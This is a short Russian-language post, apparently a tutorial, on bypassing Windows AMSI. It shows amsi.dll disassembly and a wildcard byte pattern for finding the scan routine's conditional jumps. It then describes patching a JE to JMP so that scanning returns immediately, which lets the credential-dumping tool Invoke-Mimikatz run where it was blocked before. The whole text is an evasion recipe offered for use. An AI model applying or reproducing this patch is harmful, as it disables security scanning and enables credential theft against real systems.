
Пожизненный обход AMSI
мы получаем точный адрес инструкции перехода, выполняя поиск первого байта каждой инструкции. Этот метод эффективен даже при обновлениях или изменениях целевого набора данных.
например :
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
шаблон поиска будет выглядеть так :
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

Программа проверяет значение RDX на равенство самому себе. Если сравнение даёт 0, программа выполняет переход к возврату. В противном случае программа переходит к оценке следующей инструкции.

мы не можем выполнить "Invoke-Mimikatz"

мы пропатчиваем первый байт и меняем его с JE на JMP, чтобы он сразу возвращал управление


теперь мы выполняем "Invoke-Mimikatz"
